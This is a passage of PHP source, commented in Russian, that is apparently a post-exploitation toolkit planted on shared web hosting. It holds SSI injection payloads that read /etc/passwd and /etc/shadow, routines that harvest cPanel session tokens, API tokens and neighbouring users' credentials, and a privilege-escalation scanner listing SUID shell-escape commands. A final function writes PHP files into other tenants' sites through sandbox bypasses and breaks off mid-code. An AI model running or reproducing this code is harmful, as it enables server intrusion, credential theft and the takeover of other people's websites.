                $cors_headers[] = $header;
                
                if (stripos($header, 'Access-Control-Allow-Origin:') === 0) {
                    $acao = trim(substr($header, strlen('Access-Control-Allow-Origin:')));
                }
                if (stripos($header, 'Access-Control-Allow-Credentials: true') !== false) {
                    $acac = true;
                }
            }
        }
        
        $vulnerable = false;
        $severity = 'none';
        $vulnerability_type = '';
        
        // Проверка уязвимостей
        if ($acao === '*') {
            $vulnerable = true;
            $severity = $acac ? 'critical' : 'medium';
            $vulnerability_type = 'Wildcard ACAO';
        } elseif ($acao === $origin && ($origin === 'https://attacker.com' || $origin === 'http://evil.com' || $origin === 'null')) {
            $vulnerable = true;
            $severity = $acac ? 'critical' : 'high';
            $vulnerability_type = 'Reflected Origin';
        } elseif ($acao === 'null' && $origin === 'null') {
            $vulnerable = true;
            $severity = 'high';
            $vulnerability_type = 'Null Origin Allowed';
        }
        
        $results[] = array(
            'origin' => $origin,
            'acao' => $acao,
            'acac' => $acac,
            'cors_headers' => $cors_headers,
            'vulnerable' => $vulnerable,
            'severity' => $severity,
            'vulnerability_type' => $vulnerability_type
        );
    }
    
    return $results;
}

/**
 * Проверка и эксплуатация SSI (Server Side Includes)
 */
function ssi_injection_check($url) {
    $results = array(
        'tests' => array(),
        'vulnerable' => false,
        'successful_payloads' => array()
    );
    
    if (!$url) {
        return array('error' => 'URL required');
    }
    
    // SSI payloads
    $ssi_payloads = array(
        array('name' => 'include_passwd', 'payload' => '<!--#include virtual="/etc/passwd"-->', 'check' => array('root:', 'bin/bash', '/bin/sh')),
        array('name' => 'include_shadow', 'payload' => '<!--#include virtual="/etc/shadow"-->', 'check' => array('root:', '$6$', '$5$', '$1$')),
        array('name' => 'exec_whoami', 'payload' => '<!--#exec cmd="whoami"-->', 'check' => array('www-data', 'apache', 'nginx', 'nobody')),
        array('name' => 'exec_id', 'payload' => '<!--#exec cmd="id"-->', 'check' => array('uid=', 'gid=')),
        array('name' => 'echo_docname', 'payload' => '<!--#echo var="DOCUMENT_NAME"-->', 'check' => array('.php', '.html', '.shtml')),
        array('name' => 'echo_date', 'payload' => '<!--#echo var="DATE_LOCAL"-->', 'check' => array(':', '/')),
        array('name' => 'echo_server', 'payload' => '<!--#echo var="SERVER_SOFTWARE"-->', 'check' => array('Apache', 'nginx', 'IIS')),
        array('name' => 'config_timefmt', 'payload' => '<!--#config timefmt="%Y"--><!--#echo var="DATE_LOCAL"-->', 'check' => array('202'))
    );
    
    $context = stream_context_create(array(
        'http' => array(
            'timeout' => 10,
            'ignore_errors' => true
        ),
        'ssl' => array(
            'verify_peer' => false,
            'verify_peer_name' => false
        )
    ));
    
    // Тестовые параметры
    $test_params = array('test', 'page', 'file', 'include', 'path', 'doc', 'name', 'id');
    
    foreach ($test_params as $param) {
        foreach ($ssi_payloads as $payload_info) {
            $test_url = $url . (strpos($url, '?') !== false ? '&' : '?') . 
                       $param . '=' . urlencode($payload_info['payload']);
            
            $response = @file_get_contents($test_url, false, $context);
            
            if ($response !== false) {
                $is_executed = false;
                $matched_check = '';
                
                foreach ($payload_info['check'] as $check) {
                    if (stripos($response, $check) !== false) {
                        $is_executed = true;
                        $matched_check = $check;
                        break;
                    }
                }
                
                $test_result = array(
                    'param' => $param,
                    'payload_name' => $payload_info['name'],
                    'payload' => $payload_info['payload'],
                    'response_length' => strlen($response),
                    'ssi_executed' => $is_executed
                );
                
                if ($is_executed) {
                    $test_result['matched'] = $matched_check;
                    $test_result['response_preview'] = substr($response, 0, 500);
                    $results['vulnerable'] = true;
                    $results['successful_payloads'][] = $test_result;
                }
                
                $results['tests'][] = $test_result;
            }
        }
    }
    
    return $results;
}

/**
 * Комплексное выполнение всех продвинутых атак
 */
function run_all_advanced_attacks($wp_root = null) {
    $results = array(
        'timestamp' => date('c'),
        '_errors' => array()
    );
    
    // Каждая атака обёрнута в try-catch
    try { $results['ldpreload'] = bypass_disable_functions_ldpreload(); }
    catch (Exception $e) { $results['_errors'][] = 'ldpreload: ' . $e->getMessage(); $results['ldpreload'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'ldpreload: ' . $e->getMessage(); $results['ldpreload'] = array('error' => $e->getMessage()); }
    
    try { $results['shared_memory'] = shared_memory_attacks(); }
    catch (Exception $e) { $results['_errors'][] = 'shared_memory: ' . $e->getMessage(); $results['shared_memory'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'shared_memory: ' . $e->getMessage(); $results['shared_memory'] = array('error' => $e->getMessage()); }
    
    try { $results['session_upload'] = session_upload_progress_attack(); }
    catch (Exception $e) { $results['_errors'][] = 'session_upload: ' . $e->getMessage(); $results['session_upload'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'session_upload: ' . $e->getMessage(); $results['session_upload'] = array('error' => $e->getMessage()); }
    
    try { $results['opcache'] = opcache_attacks(); }
    catch (Exception $e) { $results['_errors'][] = 'opcache: ' . $e->getMessage(); $results['opcache'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'opcache: ' . $e->getMessage(); $results['opcache'] = array('error' => $e->getMessage()); }
    
    try { $results['kernel'] = advanced_kernel_attacks(); }
    catch (Exception $e) { $results['_errors'][] = 'kernel: ' . $e->getMessage(); $results['kernel'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'kernel: ' . $e->getMessage(); $results['kernel'] = array('error' => $e->getMessage()); }
    
    try { $results['daemons'] = find_and_attack_daemons(); }
    catch (Exception $e) { $results['_errors'][] = 'daemons: ' . $e->getMessage(); $results['daemons'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'daemons: ' . $e->getMessage(); $results['daemons'] = array('error' => $e->getMessage()); }
    
    try { $results['dns_rebinding'] = dns_rebinding_prepare(); }
    catch (Exception $e) { $results['_errors'][] = 'dns_rebinding: ' . $e->getMessage(); $results['dns_rebinding'] = array('error' => $e->getMessage()); }
    catch (Error $e) { $results['_errors'][] = 'dns_rebinding: ' . $e->getMessage(); $results['dns_rebinding'] = array('error' => $e->getMessage()); }
    
    // Если указан wp_root, добавляем db_discovery
    if ($wp_root && is_wp_root($wp_root)) {
        try { $results['database'] = db_discovery_and_exploit($wp_root); }
        catch (Exception $e) { $results['_errors'][] = 'database: ' . $e->getMessage(); $results['database'] = array('error' => $e->getMessage()); }
        catch (Error $e) { $results['_errors'][] = 'database: ' . $e->getMessage(); $results['database'] = array('error' => $e->getMessage()); }
    }
    
    // Подсчёт обнаруженных возможностей
    $findings = 0;
    
    if (!empty($results['ldpreload']['ldpreload_possible'])) $findings++;
    if (!empty($results['ldpreload']['alternative_methods'])) $findings += count($results['ldpreload']['alternative_methods']);
    if (!empty($results['shared_memory']['segments_found'])) $findings += count($results['shared_memory']['segments_found']);
    if (!empty($results['session_upload']['vulnerable'])) $findings++;
    if (!empty($results['opcache']['status'])) $findings++;
    if (!empty($results['kernel']['user_namespace']['can_create_namespace'])) $findings++;
    if (!empty($results['daemons']['open_ports'])) $findings += count($results['daemons']['open_ports']);
    if (!empty($results['daemons']['socket_files'])) $findings += count($results['daemons']['socket_files']);
    
    $results['summary'] = array(
        'total_findings' => $findings,
        'risk_level' => $findings > 10 ? 'critical' : ($findings > 5 ? 'high' : ($findings > 2 ? 'medium' : 'low'))
    );
    
    return $results;
}

/* ==================== cPanel ACCESS ==================== */

/**
 * Поиск cPanel сессий, токенов и методов обхода аутентификации
 */
function cpanel_access_scan() {
    $results = array(
        'cpanel_detected' => false,
        'sessions' => array(),
        'tokens' => array(),
        'userdata' => array(),
        'access_files' => array(),
        'api_tokens' => array(),
        'exploitable' => array()
    );
    
    // Определяем текущего пользователя
    $current_user = function_exists('posix_getpwuid') && function_exists('posix_getuid') ? 
        (($u = posix_getpwuid(posix_getuid())) ? $u['name'] : null) : get_current_user();
    $home_dir = getenv('HOME') ?: '/home/' . $current_user;
    
    // Проверяем наличие cPanel
    $cpanel_indicators = array(
        '/usr/local/cpanel',
        '/var/cpanel',
        '/usr/local/cpanel/bin/cpapi',
        '/home/.cpaddons',
        '/scripts/cpanel'
    );
    
    foreach ($cpanel_indicators as $ind) {
        if (@file_exists($ind) || @is_dir($ind)) {
            $results['cpanel_detected'] = true;
            break;
        }
    }
    
    // ==================== СЕССИИ ====================
    $session_paths = array(
        '/var/cpanel/sessions/raw',
        '/var/cpanel/sessions',
        '/tmp/cpses.*',
        $home_dir . '/.cpanel/sessions',
        '/var/lib/php/sessions',
        '/tmp/sess_*'
    );
    
    foreach ($session_paths as $sp) {
        if (strpos($sp, '*') !== false) {
            $files = @glob($sp);
            if ($files) {
                foreach ($files as $f) {
                    if (@is_readable($f)) {
                        $content = @file_get_contents($f);
                        $results['sessions'][] = array(
                            'path' => $f,
                            'size' => @filesize($f),
                            'mtime' => @filemtime($f),
                            'preview' => substr($content, 0, 500),
                            'has_token' => (strpos($content, 'cpsess') !== false || strpos($content, 'security_token') !== false)
                        );
                        
                        // Ищем токены в сессии
                        if (preg_match('/cpsess([a-zA-Z0-9]+)/', $content, $m)) {
                            $results['exploitable'][] = array(
                                'type' => 'cpanel_session_token',
                                'token' => 'cpsess' . $m[1],
                                'source' => $f
                            );
                        }
                    }
                }
            }
        } else {
            if (@is_dir($sp)) {
                $files = @scandir($sp);
                if ($files) {
                    foreach ($files as $f) {
                        if ($f === '.' || $f === '..') continue;
                        $fp = $sp . '/' . $f;
                        if (@is_readable($fp)) {
                            $content = @file_get_contents($fp);
                            $results['sessions'][] = array(
                                'path' => $fp,
                                'size' => @filesize($fp),
                                'mtime' => @filemtime($fp),
                                'preview' => substr($content, 0, 500),
                                'has_token' => (strpos($content, 'cpsess') !== false)
                            );
                        }
                    }
                }
            }
        }
    }
    
    // ==================== ТОКЕНЫ ====================
    $token_files = array(
        $home_dir . '/.cpanel/datastore',
        $home_dir . '/.cpanel/nvdata',
        $home_dir . '/.accesshash',
        '/root/.accesshash',
        '/var/cpanel/authn/api_tokens',
        '/var/cpanel/api_tokens'
    );
    
    foreach ($token_files as $tf) {
        if (@is_readable($tf)) {
            if (@is_dir($tf)) {
                $files = @scandir($tf);
                if ($files) {
                    foreach ($files as $f) {
                        if ($f === '.' || $f === '..') continue;
                        $fp = $tf . '/' . $f;
                        if (@is_readable($fp)) {
                            $content = @file_get_contents($fp);
                            $results['api_tokens'][] = array(
                                'path' => $fp,
                                'content' => $content
                            );
                            if (strlen($content) > 20) {
                                $results['exploitable'][] = array(
                                    'type' => 'cpanel_api_token',
                                    'source' => $fp,
                                    'token_preview' => substr($content, 0, 50) . '...'
                                );
                            }
                        }
                    }
                }
            } else {
                $content = @file_get_contents($tf);
                $results['tokens'][] = array(
                    'path' => $tf,
                    'content' => $content
                );
                if ($content && strlen($content) > 20) {
                    $results['exploitable'][] = array(
                        'type' => 'accesshash',
                        'source' => $tf,
                        'hash_preview' => substr(trim($content), 0, 50) . '...'
                    );
                }
            }
        }
    }
    
    // ==================== USERDATA ====================
    $userdata_paths = array(
        '/var/cpanel/userdata/' . $current_user,
        '/var/cpanel/users/' . $current_user
    );
    
    foreach ($userdata_paths as $up) {
        if (@is_readable($up)) {
            if (@is_dir($up)) {
                $files = @scandir($up);
                if ($files) {
                    foreach ($files as $f) {
                        if ($f === '.' || $f === '..') continue;
                        $fp = $up . '/' . $f;
                        if (@is_readable($fp) && @is_file($fp)) {
                            $results['userdata'][] = array(
                                'path' => $fp,
                                'content' => @file_get_contents($fp)
                            );
                        }
                    }
                }
            } else {
                $results['userdata'][] = array(
                    'path' => $up,
                    'content' => @file_get_contents($up)
                );
            }
        }
    }
    
    // ==================== ДОСТУП К СОСЕДЯМ ====================
    // Ищем cPanel данные других пользователей
    $all_users = @file_exists('/etc/passwd') ? users_from_passwd(200) : array();
    foreach ($all_users as $user) {
        if ($user === $current_user) continue;
        
        $user_cpanel = '/var/cpanel/users/' . $user;
        $user_data = '/var/cpanel/userdata/' . $user;
        
        if (@is_readable($user_cpanel)) {
            $content = @file_get_contents($user_cpanel);
            $results['exploitable'][] = array(
                'type' => 'neighbor_cpanel_data',
                'user' => $user,
                'path' => $user_cpanel,
                'has_password' => (strpos($content, 'PASS') !== false)
            );
        }
        
        if (@is_readable($user_data)) {
            $files = @scandir($user_data);
            if ($files && count($files) > 2) {
                $results['exploitable'][] = array(
                    'type' => 'neighbor_userdata',
                    'user' => $user,
                    'path' => $user_data,
                    'files_count' => count($files) - 2
                );
            }
        }
    }
    
    // ==================== ВАЖНЫЕ ФАЙЛЫ ====================
    $important_files = array(
        '/var/cpanel/cpanel.config' => 'cPanel Config',
        '/etc/wwwacct.conf' => 'Account Creation Defaults',
        '/var/cpanel/databases/users.db' => 'Users DB',
        '/var/cpanel/accounting.log' => 'Accounting Log',
        '/var/cpanel/clusterqueue/status' => 'Cluster Status',
        $home_dir . '/.my.cnf' => 'MySQL Config',
        '/root/.my.cnf' => 'Root MySQL Config',
        '/etc/proftpd.passwd' => 'ProFTPD Passwords',
        '/etc/pureftpd.passwd' => 'PureFTPD Passwords',
        '/var/cpanel/email_send_limits' => 'Email Limits'
    );
    
    foreach ($important_files as $path => $name) {
        if (@is_readable($path)) {
            $content = @file_get_contents($path);
            $results['access_files'][] = array(
                'name' => $name,
                'path' => $path,
                'size' => @filesize($path),
                'preview' => substr($content, 0, 1000)
            );
            
            // Ищем пароли в содержимом
            if (preg_match('/password\s*[=:]\s*([^\s]+)/i', $content, $m)) {
                $results['exploitable'][] = array(
                    'type' => 'password_in_config',
                    'source' => $path,
                    'password_preview' => substr($m[1], 0, 10) . '***'
                );
            }
        }
    }
    
    // ==================== ЛОКАЛЬНЫЕ cPanel API ====================
    if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
        // Попытка вызова uapi
        $uapi_test = @shell_exec('/usr/local/cpanel/bin/uapi --user=' . escapeshellarg($current_user) . ' Ftp list_ftp 2>&1');
        if ($uapi_test && strpos($uapi_test, 'error') === false) {
            $results['exploitable'][] = array(
                'type' => 'uapi_access',
                'command' => 'uapi',
                'output_preview' => substr($uapi_test, 0, 500)
            );
        }
        
        // Проверка cpanel API
        $cpapi_test = @shell_exec('/usr/local/cpanel/bin/cpapi2 --user=' . escapeshellarg($current_user) . ' Fileman listfiles dir=/ 2>&1');
        if ($cpapi_test && strpos($cpapi_test, 'error') === false && strlen($cpapi_test) > 50) {
            $results['exploitable'][] = array(
                'type' => 'cpapi2_access',
                'command' => 'cpapi2',
                'output_preview' => substr($cpapi_test, 0, 500)
            );
        }
    }
    
    // ==================== WHM ACCESS ====================
    $whm_indicators = array(
        '/var/cpanel/resellers',
        '/var/cpanel/root.acls',
        '/scripts/whostmgr'
    );
    
    foreach ($whm_indicators as $wi) {
        if (@is_readable($wi)) {
            $results['exploitable'][] = array(
                'type' => 'whm_access',
                'indicator' => $wi,
                'content_preview' => @is_file($wi) ? substr(@file_get_contents($wi), 0, 200) : 'directory'
            );
        }
    }
    
    // Summary
    $total_exploitable = count($results['exploitable']);
    $results['summary'] = array(
        'cpanel_detected' => $results['cpanel_detected'],
        'sessions_found' => count($results['sessions']),
        'tokens_found' => count($results['tokens']) + count($results['api_tokens']),
        'total_exploitable' => $total_exploitable,
        'risk_level' => $total_exploitable > 5 ? 'critical' : ($total_exploitable > 2 ? 'high' : ($total_exploitable > 0 ? 'medium' : 'low'))
    );
    
    return $results;
}

/* ==================== PRIVILEGE ESCALATION ==================== */

/**
 * Комплексная проверка возможностей повышения привилегий
 */
function privilege_escalation_scan() {
    $results = array(
        'current_user' => array(),
        'suid_binaries' => array(),
        'writable_paths' => array(),
        'cron_access' => array(),
        'sudo_access' => array(),
        'capabilities' => array(),
        'symlink_attacks' => array(),
        'neighbor_access' => array(),
        'exploitable' => array()
    );
    
    // Текущий пользователь
    $results['current_user'] = array(
        'uid' => function_exists('posix_getuid') ? posix_getuid() : null,
        'gid' => function_exists('posix_getgid') ? posix_getgid() : null,
        'username' => function_exists('posix_getpwuid') && function_exists('posix_getuid') ? 
            (($u = posix_getpwuid(posix_getuid())) ? $u['name'] : null) : get_current_user(),
        'groups' => function_exists('posix_getgroups') ? posix_getgroups() : array(),
        'home' => getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : null)
    );
    
    // SUID/SGID бинарники (если есть shell_exec)
    if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
        // Поиск SUID
        $suid_cmd = 'find /usr /bin /sbin -perm -4000 -type f 2>/dev/null | head -50';
        $suid_output = @shell_exec($suid_cmd);
        if ($suid_output) {
            $suid_files = array_filter(explode("\n", trim($suid_output)));
            foreach ($suid_files as $f) {
                $exploitable = false;
                $exploit_type = '';
                
                // Известные эксплуатируемые SUID
                $dangerous_suids = array(
                    'nmap' => 'nmap --interactive, then !sh',
                    'vim' => 'vim -c ":!sh"',
                    'find' => 'find . -exec /bin/sh \\; -quit',
                    'bash' => 'bash -p',
                    'less' => '!/bin/sh',
                    'more' => '!/bin/sh',
                    'nano' => 'Ctrl+R Ctrl+X, then command',
                    'cp' => 'cp /bin/sh /tmp/sh; chmod +s /tmp/sh',
                    'mv' => 'Replace /etc/passwd',
                    'awk' => "awk 'BEGIN {system(\"/bin/sh\")}'",
                    'perl' => 'perl -e "exec \"/bin/sh\";"',
                    'python' => 'python -c "import os; os.system(\"/bin/sh\")"',
                    'ruby' => 'ruby -e "exec \"/bin/sh\""',
                    'lua' => 'lua -e "os.execute(\"/bin/sh\")"',
                    'php' => 'php -r "system(\"/bin/sh\");"',
                    'node' => 'node -e "require(\'child_process\').spawn(\'/bin/sh\')"',
                    'env' => 'env /bin/sh',
                    'tar' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
                    'zip' => 'zip /tmp/x.zip /etc/passwd -T -TT "sh #"',
                    'git' => 'git help config, then !/bin/sh',
                    'docker' => 'docker run -v /:/mnt alpine chroot /mnt sh',
                    'pkexec' => 'CVE-2021-4034 PwnKit'
                );
                
                $basename = basename($f);
                foreach ($dangerous_suids as $bin => $method) {
                    if (stripos($basename, $bin) !== false) {
                        $exploitable = true;
                        $exploit_type = $method;
                        break;
                    }
                }
                
                $results['suid_binaries'][] = array(
                    'path' => $f,
                    'name' => $basename,
                    'exploitable' => $exploitable,
                    'exploit_method' => $exploit_type
                );
                
                if ($exploitable) {
                    $results['exploitable'][] = array(
                        'type' => 'suid',
                        'path' => $f,
                        'method' => $exploit_type
                    );
                }
            }
        }
        
        // Проверка sudo
        $sudo_l = @shell_exec('sudo -l 2>/dev/null');
        if ($sudo_l) {
            $results['sudo_access']['output'] = $sudo_l;
            $results['sudo_access']['has_sudo'] = (strpos($sudo_l, 'not allowed') === false && strpos($sudo_l, 'may run') !== false);
            
            // Проверяем NOPASSWD
            if (preg_match('/NOPASSWD:\s*(.+)/i', $sudo_l, $m)) {
                $results['sudo_access']['nopasswd'] = trim($m[1]);
                $results['exploitable'][] = array(
                    'type' => 'sudo_nopasswd',
                    'commands' => trim($m[1])
                );
            }
        }
        
        // Capabilities
        $getcap = @shell_exec('getcap -r /usr /bin /sbin 2>/dev/null | head -30');
        if ($getcap) {
            $results['capabilities']['found'] = array_filter(explode("\n", trim($getcap)));
            
            // Опасные capabilities
            foreach ($results['capabilities']['found'] as $cap) {
                if (strpos($cap, 'cap_setuid') !== false || 
                    strpos($cap, 'cap_setgid') !== false ||
                    strpos($cap, 'cap_sys_admin') !== false ||
                    strpos($cap, 'cap_dac_override') !== false) {
                    $results['exploitable'][] = array(
                        'type' => 'capability',
                        'detail' => $cap
                    );
                }
            }
        }
        
        // Writable sensitive paths
        $sensitive_paths = array(
            '/etc/passwd',
            '/etc/shadow',
            '/etc/sudoers',
            '/etc/crontab',
            '/var/spool/cron',
            '/etc/cron.d',
            '/etc/cron.daily',
            '/root/.ssh/authorized_keys',
            '/etc/ssh/sshd_config'
        );
        
        foreach ($sensitive_paths as $sp) {
            if (@is_writable($sp)) {
                $results['writable_paths'][] = $sp;
                $results['exploitable'][] = array(
                    'type' => 'writable_sensitive',
                    'path' => $sp
                );
            }
        }
        
        // Cron доступ
        $cron_paths = array(
            '/etc/crontab',
            '/var/spool/cron',
            '/var/spool/cron/crontabs',
            '/etc/cron.d',
            '/etc/cron.hourly',
            '/etc/cron.daily'
        );
        
        foreach ($cron_paths as $cp) {
            $results['cron_access'][] = array(
                'path' => $cp,
                'exists' => @file_exists($cp),
                'readable' => @is_readable($cp),
                'writable' => @is_writable($cp)
            );
        }
    }
    
    // Доступ к соседям через symlink
    $home_dir = $results['current_user']['home'];
    if ($home_dir && @is_dir($home_dir) && @is_writable($home_dir)) {
        // Пробуем создать symlink к /home
        $test_link = $home_dir . '/.test_symlink_' . uniqid();
        $targets_to_test = array('/home', '/root', '/etc', '/var/www');
        
        foreach ($targets_to_test as $target) {
            if (@symlink($target, $test_link)) {
                $can_read = @is_readable($test_link);
                @unlink($test_link);
                
                if ($can_read) {
                    $results['symlink_attacks'][] = array(
                        'target' => $target,
                        'can_symlink' => true,
                        'can_read_via_symlink' => true
                    );
                }
            }
        }
    }
    
    // Доступ к соседним пользователям
    $users = users_from_passwd(100);
    foreach ($users as $user) {
        $home = '/home/' . $user;
        if (@is_dir($home)) {
            $access = array(
                'user' => $user,
                'home_readable' => @is_readable($home),
                'public_html_exists' => @is_dir($home . '/public_html'),
                'public_html_readable' => @is_readable($home . '/public_html'),
                'wp_config_readable' => @is_readable($home . '/public_html/wp-config.php')
            );
            
            if ($access['wp_config_readable']) {
                $results['exploitable'][] = array(
                    'type' => 'neighbor_wp_config',
                    'user' => $user,
                    'path' => $home . '/public_html/wp-config.php'
                );
            }
            
            $results['neighbor_access'][] = $access;
        }
    }
    
    // Risk summary
    $total_exploitable = count($results['exploitable']);
    $results['summary'] = array(
        'total_exploitable' => $total_exploitable,
        'risk_level' => $total_exploitable > 5 ? 'critical' : ($total_exploitable > 2 ? 'high' : ($total_exploitable > 0 ? 'medium' : 'low')),
        'suid_count' => count($results['suid_binaries']),
        'neighbor_access_count' => count(array_filter($results['neighbor_access'], function($a) { return $a['public_html_readable']; }))
    );
    
    return $results;
}

/* ==================== МАССОВЫЙ ДЕПЛОЙ МАРКЕРА НА СОСЕДЕЙ ==================== */

/**
 * Комплексный поиск соседних сайтов с использованием ВСЕХ методов bypass
 * и деплой маркера на все найденные writable paths
 */
function mass_neighbor_marker_deploy($marker_name = 'marker.txt', $marker_content = '', $options = array()) {
    @set_time_limit(0);
    @ignore_user_abort(true);
    
    $start_time = microtime(true);
    
    $results = array(
        'status' => 'ok',
        'timestamp' => date('c'),
        'neighbors_found' => array(),
        'writable_paths' => array(),
        'deploy_results' => array(),
        'methods_used' => array(),
        'method_errors' => array(),
        'stats' => array(
            'total_neighbors' => 0,
            'total_writable' => 0,
            'successful_deploys' => 0,
            'failed_deploys' => 0
        )
    );
    
    // Дефолтный контент маркера
    if (empty($marker_content)) {
        $marker_content = '<?php /* Marker deployed at ' . date('c') . ' from ' . $_SERVER['HTTP_HOST'] . ' */ ?>';
    }
    
    // Опции
    $dry_run = isset($options['dry_run']) ? (bool)$options['dry_run'] : false;
    $use_bypass = isset($options['use_bypass']) ? (bool)$options['use_bypass'] : true;
    $use_db = isset($options['use_db']) ? (bool)$options['use_db'] : true;
    $use_symlinks = isset($options['use_symlinks']) ? (bool)$options['use_symlinks'] : true;
    $use_shm = isset($options['use_shm']) ? (bool)$options['use_shm'] : true;
    $max_neighbors = isset($options['max_neighbors']) ? (int)$options['max_neighbors'] : 500;
    $subdir = isset($options['subdir']) ? $options['subdir'] : '';
    $overwrite = isset($options['overwrite']) ? (bool)$options['overwrite'] : false;
    
    $all_neighbors = array();
    $seen_paths = array();
    
    // ==================== МЕТОД 1: bypass_discover_neighbors ====================
    if ($use_bypass) {
        try {
        $results['methods_used'][] = 'bypass_discover_neighbors';
        $bypass_neighbors = bypass_discover_neighbors();
        
        if (!empty($bypass_neighbors)) {
            foreach ($bypass_neighbors as $n) {
                $path = is_array($n) ? (isset($n['path']) ? $n['path'] : '') : $n;
                if ($path && !isset($seen_paths[$path])) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'bypass_discover',
                        'user' => is_array($n) && isset($n['user']) ? $n['user'] : basename(dirname($path))
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'bypass_discover_neighbors', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'bypass_discover_neighbors', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 2: open_basedir bypass ====================
    if ($use_bypass) {
        try {
        $results['methods_used'][] = 'bypass_open_basedir';
        $obd_result = bypass_open_basedir();
        
        if (!empty($obd_result['accessible_paths'])) {
            foreach ($obd_result['accessible_paths'] as $ap) {
                $path = is_array($ap) ? (isset($ap['path']) ? $ap['path'] : '') : $ap;
                if ($path && !isset($seen_paths[$path])) {
                    // Проверяем, это WP сайт?
                    if (is_wp_root($path)) {
                        $all_neighbors[] = array(
                            'path' => $path,
                            'source' => 'open_basedir_bypass',
                            'is_wp' => true
                        );
                        $seen_paths[$path] = true;
                    }
                }
            }
        }
        
        // Проверяем discovered_paths
        if (!empty($obd_result['discovered_paths'])) {
            foreach ($obd_result['discovered_paths'] as $dp) {
                $path = is_array($dp) ? (isset($dp['path']) ? $dp['path'] : '') : $dp;
                if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'open_basedir_discovered',
                        'is_wp' => is_wp_root($path)
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'bypass_open_basedir', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'bypass_open_basedir', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 3: advanced_open_basedir_bypass_with_write ====================
    if ($use_bypass) {
        try {
        $results['methods_used'][] = 'advanced_bypass_with_write';
        $adv_bypass = advanced_open_basedir_bypass_with_write();
        
        if (!empty($adv_bypass['writable_paths'])) {
            foreach ($adv_bypass['writable_paths'] as $wp) {
                $path = is_array($wp) ? (isset($wp['path']) ? $wp['path'] : '') : $wp;
                if ($path && !isset($seen_paths[$path])) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'advanced_bypass_writable',
                        'writable' => true
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'advanced_bypass_with_write', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'advanced_bypass_with_write', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 4: CageFS/LVE bypass ====================
    if ($use_bypass) {
        try {
        $results['methods_used'][] = 'bypass_cagefs_lve';
        $cagefs_result = bypass_cagefs_lve();
        
        if (!empty($cagefs_result['accessible_paths'])) {
            foreach ($cagefs_result['accessible_paths'] as $cp) {
                $path = is_array($cp) ? (isset($cp['path']) ? $cp['path'] : '') : $cp;
                if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'cagefs_bypass'
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'bypass_cagefs_lve', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'bypass_cagefs_lve', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 5: chroot bypass ====================
    if ($use_bypass) {
        try {
        $results['methods_used'][] = 'bypass_chroot';
        $chroot_result = bypass_chroot();
        
        if (!empty($chroot_result['accessible_paths'])) {
            foreach ($chroot_result['accessible_paths'] as $crp) {
                $path = is_array($crp) ? (isset($crp['path']) ? $crp['path'] : '') : $crp;
                if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'chroot_bypass'
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'bypass_chroot', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'bypass_chroot', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 6: Database discovery ====================
    if ($use_db) {
        try {
        $results['methods_used'][] = 'db_discovery';
        
        // Ищем wp-config.php в текущей директории или родительских
        $current_dir = dirname(__FILE__);
        $wp_root = null;
        
        for ($i = 0; $i < 5; $i++) {
            if (is_wp_root($current_dir)) {
                $wp_root = $current_dir;
                break;
            }
            $current_dir = dirname($current_dir);
        }
        
        if ($wp_root) {
            $db_result = db_discovery_and_exploit($wp_root);
            
            // Ищем других WordPress в той же базе
            if (!empty($db_result['other_wp_installs'])) {
                foreach ($db_result['other_wp_installs'] as $other_wp) {
                    $path = is_array($other_wp) ? (isset($other_wp['path']) ? $other_wp['path'] : '') : $other_wp;
                    if ($path && !isset($seen_paths[$path])) {
                        $all_neighbors[] = array(
                            'path' => $path,
                            'source' => 'database_discovery',
                            'is_wp' => true
                        );
                        $seen_paths[$path] = true;
                    }
                }
            }
            
            // Ищем пути из siteurl/home
            if (!empty($db_result['discovered_paths'])) {
                foreach ($db_result['discovered_paths'] as $dbp) {
                    if ($dbp && !isset($seen_paths[$dbp]) && @is_dir($dbp)) {
                        $all_neighbors[] = array(
                            'path' => $dbp,
                            'source' => 'database_siteurl'
                        );
                        $seen_paths[$dbp] = true;
                    }
                }
            }
            }
        } catch (Exception $e) {
